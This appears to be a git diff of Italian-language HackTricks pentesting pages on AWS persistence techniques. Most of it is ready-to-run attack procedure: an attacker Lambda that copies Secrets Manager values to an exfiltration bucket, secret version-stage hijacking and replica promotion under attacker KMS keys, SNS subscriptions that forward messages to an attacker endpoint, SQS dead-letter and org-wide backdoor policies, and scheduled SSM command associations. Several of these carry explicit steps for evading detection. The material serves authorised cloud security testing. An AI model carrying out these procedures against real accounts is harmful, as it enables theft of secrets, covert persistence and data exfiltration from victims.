+2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
+3) Rebind rotation and trigger
+- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
+4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
+5) (Optional) Restore the original rotation Lambda to reduce detection.
+
+- Example attacker Lambda (Python) exfiltrating to S3
+- Environment: `EXFIL_BUCKET=<bucket>`
+- Handler: `lambda_function.lambda_handler`
+```python
+import boto3, json, os, base64, datetime
+s3 = boto3.client('s3')
+sm = boto3.client('secretsmanager')
+BUCKET = os.environ['EXFIL_BUCKET']
+
+def write_s3(key, data):
+s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
+
+def lambda_handler(event, context):
+sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
+# Exfil both stages best-effort
+def getv(**kw):
+try:
+r = sm.get_secret_value(**kw)
+return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
+except Exception as e:
+return {'error': str(e)}
+current = getv(SecretId=sid, VersionStage='AWSCURRENT')
+pending = getv(SecretId=sid, VersionStage='AWSPENDING')
+key = f"{sid.replace(':','_')}/{step}/{token}.json"
+write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
+# Minimal rotation (optional): copy current->pending and promote in finishSecret
+# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
+```
+### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
+
+Abusa delle etichette di staging delle versioni di Secrets Manager per inserire una versione del secret controllata dall'attaccante e tenerla nascosta sotto uno stage personalizzato (per esempio, `ATTACKER`) mentre la produzione continua a usare l'originale `AWSCURRENT`. In qualsiasi momento, sposta `AWSCURRENT` sulla versione dell'attaccante per avvelenare i workload dipendenti, quindi ripristinalo per ridurre al minimo il rilevamento. Questo fornisce una persistenza backdoor furtiva e una rapida manipolazione del time-of-use senza cambiare il nome del secret o la configurazione di rotazione.
+
+- Requisiti
+- Autorizzazioni: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (per verifica)
+- ID del secret di destinazione nella Region.
+
+- Impatto
+- Mantenere una versione nascosta e controllata dall'attaccante di un secret e commutare in modo atomico `AWSCURRENT` su di essa su richiesta, influenzando qualsiasi consumer che risolva lo stesso nome del secret. La commutazione e il rapido ripristino riducono la probabilità di rilevamento pur consentendo una compromissione al momento dell'uso.
+
+- Passaggi dell'attacco (CLI)
+- Preparazione
+- `export SECRET_ID=<target secret id or arn>`
+
+<details>
+<summary>Comandi CLI</summary>
+```bash
+# 1) Capture current production version id (the one holding AWSCURRENT)
+CUR=$(aws secretsmanager list-secret-version-ids \
+--secret-id "$SECRET_ID" \
+--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
+--output text)
+
+# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
+BACKTOK=$(uuidgen)
+aws secretsmanager put-secret-value \
+--secret-id "$SECRET_ID" \
+--client-request-token "$BACKTOK" \
+--secret-string {backdoor:hunter2!}
+
+# 3) Restore production and hide attacker version under custom stage
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage ATTACKER \
+--move-to-version-id "$BACKTOK"
+
+# Verify stages
+aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
+
+# 4) On-demand flip to the attacker’s value and revert quickly
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$BACKTOK" \
+--remove-from-version-id "$CUR"
+
+# Validate served plaintext now equals the attacker payload
+aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
+
+# Revert to reduce detection
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+```
+</details>
+
+- Note
+- Quando fornisci `--client-request-token`, Secrets Manager lo usa come `VersionId`. Aggiungere una nuova versione senza impostare esplicitamente `--version-stages` sposta `AWSCURRENT` alla nuova versione per impostazione predefinita e marca quella precedente come `AWSPREVIOUS`.
+
+
+### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
+
+Abusa della replication multi-Region di Secrets Manager per creare una replica di un secret target in una Region meno monitorata, crittografarla con una chiave KMS controllata dall'attaccante in quella Region, quindi promuovere la replica a secret standalone e allegare una resource policy permissiva che conceda all'attaccante l'accesso in lettura. Il secret originale nella Region primaria resta invariato, fornendo un accesso duraturo e furtivo al valore del secret tramite la replica promossa, aggirando i vincoli KMS/policy sulla primaria.
+
+- Requisiti
+- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
+- Nella replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (o `kms:PutKeyPolicy`) per permettere al principal attaccante `kms:Decrypt`.
+- Un principal attaccante (user/role) che riceva accesso in lettura al secret promosso.
+
+- Impatto
+- Percorso di accesso cross-Region persistente al valore del secret tramite una replica standalone sotto un CMK KMS controllato dall'attaccante e una resource policy permissiva. Il secret primario nella Region originale resta intatto.
+
+- Attacco (CLI)
+- Variabili
+```bash
+export R1=<primary-region>   # e.g., us-east-1
+export R2=<replica-region>   # e.g., us-west-2
+export SECRET_ID=<secret name or ARN in R1>
+export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
+```
+1) Crea attacker-controlled KMS key nella replica Region
+```bash
+cat > /tmp/kms_policy.json <<'JSON'
+{"Version":"2012-10-17","Statement":[
+{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
+]}
+JSON
+KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
+--query KeyMetadata.KeyId --output text)
+aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
+# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
+aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
+```
+2) Replicare il secret su R2 usando la attacker KMS key
+```bash
+aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
+--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
+aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
+```
+3) Promuovere la replica a standalone in R2
+```bash
+# Use the secret name (same across Regions)
+NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
+aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
+aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
+```
+4) Allega una resource policy permissiva sul secret standalone in R2
+```bash
+cat > /tmp/replica_policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
+JSON
+aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
+aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
+```
+5) Leggi il secret dal principal dell'attaccante in R2
+```bash
+# Configure attacker credentials and read
+aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
deleted file mode 100644
index 1495ebf66..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ /dev/null
@@ -1,77 +0,0 @@
-# AWS - SNS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Persistence
-
-Quando crei un **argomento SNS** devi indicare con una policy IAM **chi ha accesso a leggere e scrivere**. È possibile indicare account esterni, ARN di ruoli, o **anche "\*"**.\
-La seguente policy consente a chiunque in AWS di leggere e scrivere nell'argomento SNS chiamato **`MySNS.fifo`**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__default_statement_ID",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"SNS:Publish",
-"SNS:RemovePermission",
-"SNS:SetTopicAttributes",
-"SNS:DeleteTopic",
-"SNS:ListSubscriptionsByTopic",
-"SNS:GetTopicAttributes",
-"SNS:AddPermission",
-"SNS:Subscribe"
-],
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-"Condition": {
-"StringEquals": {
-"AWS:SourceOwner": "318142138553"
-}
-}
-},
-{
-"Sid": "__console_pub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Publish",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-},
-{
-"Sid": "__console_sub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Subscribe",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-}
-]
-}
-```
-### Crea Sottoscrittori
-
-Per continuare a esfiltrare tutti i messaggi da tutti gli argomenti, l'attaccante potrebbe **creare sottoscrittori per tutti gli argomenti**.
-
-Nota che se l'**argomento è di tipo FIFO**, solo i sottoscrittori che utilizzano il protocollo **SQS** possono essere utilizzati.
-```bash
-aws sns subscribe --region <region> \
---protocol http \
---notification-endpoint http://<attacker>/ \
---topic-arn <arn>
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
new file mode 100644
index 000000000..452c4b0fd
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
@@ -0,0 +1,113 @@
+# AWS - SNS Persistenza
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Persistenza
+
+Quando si crea un **SNS topic** è necessario indicare con una IAM policy **chi ha accesso in lettura e scrittura**. È possibile indicare account esterni, ARN di role, o **perfino "\*"**.\
+La seguente policy concede a chiunque in AWS l'accesso in lettura e scrittura al SNS topic chiamato **`MySNS.fifo`**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
+}
+```
+### Creare Subscribers
+
+Per continuare a exfiltrating tutti i messaggi da tutti i topic, un attacker potrebbe **creare subscribers per tutti i topic**.
+
+Nota che se il **topic è di tipo FIFO**, solo subscribers che usano il protocollo **SQS** possono essere utilizzati.
+```bash
+aws sns subscribe --region <region> \
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
+```
+### Esfiltrazione covert e selettiva tramite FilterPolicy su MessageBody
+
+Un attaccante con `sns:Subscribe` e `sns:SetSubscriptionAttributes` su un topic può creare una subscription SQS furtiva che inoltra solo i messaggi il cui body JSON corrisponde a un filtro molto restrittivo (per esempio, `{"secret":"true"}`). Questo riduce il volume e la possibilità di rilevazione mantenendo comunque l'esfiltrazione di record sensibili.
+
+**Potential Impact**: Esfiltrazione covert e a basso rumore di soli messaggi SNS mirati da un topic vittima.
+
+Steps (AWS CLI):
+- Assicurarsi che la policy della coda SQS dell'attaccante permetta `sqs:SendMessage` dal `TopicArn` della vittima (Condition `aws:SourceArn` uguale al `TopicArn`).
+- Creare la subscription SQS al topic:
+
+```bash
+aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
+```
+
+- Impostare il filtro in modo che operi sul message body e corrisponda solo a `secret=true`:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
+```
+
+- Stealth opzionale: abilitare RawMessageDelivery così che solo il payload raw arrivi al ricevente:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
+```
+
+- Validazione: pubblicare due messaggi e confermare che solo il primo venga recapitato nella coda dell'attaccante. Esempi di payload:
+
+```json
+{"secret":"true","data":"exfil"}
+{"secret":"false","data":"benign"}
+```
+
+- Cleanup: unsubscribe e cancellare la coda SQS dell'attaccante se creata per i test di persistence.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
deleted file mode 100644
index 91dd16392..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - SQS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### Utilizzando la policy delle risorse
-
-In SQS è necessario indicare con una policy IAM **chi ha accesso a leggere e scrivere**. È possibile indicare account esterni, ARN di ruoli, o **anche "\*"**.\
-La seguente policy consente a chiunque in AWS di accedere a tutto nella coda chiamata **MyTestQueue**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__owner_statement",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": ["SQS:*"],
-"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-}
-]
-}
-```
-> [!NOTE]
-> Potresti anche **attivare una Lambda nell'account degli attaccanti ogni volta che un nuovo messaggio** viene messo nella coda (dovresti rimetterlo) in qualche modo. Per questo segui queste istruzioni: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
new file mode 100644
index 000000000..358c91be5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
@@ -0,0 +1,47 @@
+# AWS - SQS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Uso della resource policy
+
+In SQS devi indicare con una IAM policy **chi ha accesso in lettura e scrittura**. È possibile indicare account esterni, ARN di ruoli, o **anche "\*"**.\
+La seguente policy concede a chiunque in AWS l'accesso a tutto nella queue chiamata **MyTestQueue**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
+}
+```
+> [!NOTE]
+> Potresti anche **attivare una Lambda nell'account dell'attaccante ogni volta che viene inserito un nuovo messaggio** nella coda (dovresti reinserirlo). Per questo segui queste istruzioni: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+
+### Altre tecniche di persistenza per SQS
+
+{{#ref}}
+aws-sqs-dlq-backdoor-persistence.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-orgid-policy-backdoor.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
new file mode 100644
index 000000000..5b3c66e7a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
@@ -0,0 +1,71 @@
+# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusa delle SQS Dead-Letter Queues (DLQs) per sottrarre furtivamente dati da una victim source queue puntando la sua RedrivePolicy verso una queue controllata dall'attacker. Con un basso maxReceiveCount e inducendo o aspettando normali fallimenti di elaborazione, i messaggi vengono automaticamente deviati verso l'attacker DLQ senza modificare i producers o i Lambda event source mappings.
+
+## Abused Permissions
+- sqs:SetQueueAttributes on the victim source queue (per impostare RedrivePolicy)
+- sqs:SetQueueAttributes on the attacker DLQ (per impostare RedriveAllowPolicy)
+- Optional for acceleration: sqs:ReceiveMessage on the source queue
+- Optional for setup: sqs:CreateQueue, sqs:SendMessage
+
+## Same-Account Flow (allowAll)
+
+Preparation (attacker account or compromised principal):
+```bash
+REGION=us-east-1
+# 1) Create attacker DLQ
+ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
+ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Allow any same-account source queue to use this DLQ
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
+```
+Esecuzione (eseguito come principal compromesso nell'account della vittima):
+```bash
+# 3) Point victim source queue to attacker DLQ with low retries
+VICTIM_SRC_URL=<victim source queue url>
+ATTACKER_DLQ_ARN=<attacker dlq arn>
+aws sqs set-queue-attributes \
+--queue-url "$VICTIM_SRC_URL" --region $REGION \
+--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
+```
+Accelerazione (opzionale):
+```bash
+# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
+for i in {1..2}; do \
+aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
+--max-number-of-messages 10 --visibility-timeout 0; \
+done
+```
+Validazione:
+```bash
+# 5) Confirm messages appear in attacker DLQ
+aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--max-number-of-messages 10 --attribute-names All --message-attribute-names All
+```
+Esempio di evidenza (gli attributi includono DeadLetterQueueSourceArn):
+```json
+{
+"MessageId": "...",
+"Body": "...",
+"Attributes": {
+"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
+}
+}
+```
+## Cross-Account Variant (byQueue)
+Imposta RedriveAllowPolicy sul attacker DLQ per consentire solo specifici victim source queue ARNs:
+```bash
+VICTIM_SRC_ARN=<victim source queue arn>
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
+```
+## Impatto
+- Esfiltrazione/persistenza di dati furtiva e duratura deviando automaticamente i messaggi non recapitati da una SQS source queue vittima in una DLQ controllata dall'attaccante, con minimo rumore operativo e senza modifiche ai producers o alle Lambda mappings.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
new file mode 100644
index 000000000..74c2c2c64
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
@@ -0,0 +1,38 @@
+# AWS - SQS OrgID Policy Backdoor
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusare di una resource policy di SQS per concedere silenziosamente Send, Receive e ChangeMessageVisibility a qualsiasi principal che appartenga a una target AWS Organization utilizzando la condizione aws:PrincipalOrgID. Questo crea un org-scoped hidden path che spesso sfugge ai controlli che cercano solo ARNs di account o role espliciti o star principals.
+
+### Backdoor policy (allegare alla SQS queue policy)
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OrgScopedBackdoor",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"sqs:ReceiveMessage",
+"sqs:SendMessage",
+"sqs:ChangeMessageVisibility",
+"sqs:GetQueueAttributes"
+],
+"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
+"Condition": {
+"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
+}
+}
+]
+}
+```
+### Passaggi
+- Ottieni l'Organization ID tramite AWS Organizations API.
+- Recupera l'SQS queue ARN e imposta la queue policy includendo la dichiarazione sopra.
+- Da qualsiasi principal che appartenga a quell'Organization, invia e ricevi un messaggio nella queue per convalidare l'accesso.
+
+### Impatto
+- Accesso nascosto a livello di Organization per leggere e scrivere messaggi SQS da qualsiasi account nella AWS Organization specificata.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
deleted file mode 100644
index 818e7dce6..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# AWS - SSM Perssitence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
-{{#endref}}
-
-### Utilizzando ssm:CreateAssociation per la persistenza
-
-Un attaccante con il permesso **`ssm:CreateAssociation`** può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a una backdoor senza sessioni interattive.
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'agente SSM è in esecuzione e l'attaccante ha il permesso di creare associazioni. Non richiede sessioni interattive o permessi espliciti ssm:SendCommand. **Importante:** Il parametro `--schedule-expression` (ad esempio, `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per l'esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'associazione verrà eseguita una volta dopo la creazione.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
new file mode 100644
index 000000000..528d85f2e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
@@ -0,0 +1,27 @@
+# AWS - SSM Persistenza
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+{{#endref}}
+
+### Utilizzo di ssm:CreateAssociation per la persistenza
+
+Un attaccante con il permesso **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste State Manager Association possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a backdoor senza sessioni interattive.
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> Questo metodo di persistence funziona fintanto che l'istanza EC2 è gestita da Systems Manager, l'SSM agent è in esecuzione, e l'attaccante ha il permesso di creare associations. Non richiede sessioni interattive o permessi espliciti ssm:SendCommand. **Importante:** Il parametro `--schedule-expression` (es. `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'association verrà eseguita una volta dopo la creazione.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
deleted file mode 100644
index 2d31d1ed4..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - Persistenza delle Funzioni Step
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Funzioni Step
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### Backdooring delle funzioni step
-
-Backdoor una funzione step per farla eseguire qualsiasi trucco di persistenza in modo che ogni volta che viene eseguita, eseguirà i tuoi passaggi malevoli.
-
-### Backdooring degli alias
-
-Se l'account AWS utilizza alias per chiamare le funzioni step, sarebbe possibile modificare un alias per utilizzare una nuova versione backdoor della funzione step.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
new file mode 100644
index 000000000..699fdeb3e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
@@ -0,0 +1,21 @@
+# AWS - Step Functions Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Step function Backdooring
+
+Backdoor a step function per farla eseguire qualsiasi persistence trick, così ogni volta che viene eseguita eseguirà i tuoi passaggi malevoli.
+
+### Backdooring aliases
+
+Se l'account AWS utilizza aliases per chiamare step functions, sarebbe possibile modificare un alias per usare una nuova versione backdoored della step function.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
similarity index 70%
rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
index d60092244..bfad0bf81 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
@@ -1,36 +1,36 @@
 # AWS - STS Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-Per ulteriori informazioni accedi a:
+Per maggiori informazioni consulta:
 
